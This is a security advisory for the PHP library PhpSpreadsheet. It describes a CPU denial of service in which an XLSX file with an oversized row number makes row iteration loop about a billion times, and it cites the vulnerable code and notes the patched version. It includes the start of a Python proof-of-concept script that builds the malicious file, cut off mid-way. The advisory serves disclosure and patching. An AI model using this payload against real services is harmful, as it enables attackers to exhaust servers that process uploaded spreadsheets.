GitHub Security Advisory: GHSA-7c6m-4442-2x6m
Package: phpoffice/phpspreadsheet (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 2.0.0, <= 2.1.15
Patched in: 2.1.16

Summary: PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Details:
## Summary

The XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r="999999999"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

## Details

In `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:

```php
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW
```

This value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:

```php
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}
```

The inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):

```php
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();
```

Notably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.

## PoC

**Step 1: Create the malicious XLSX file (~1.6KB)**

```python
import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>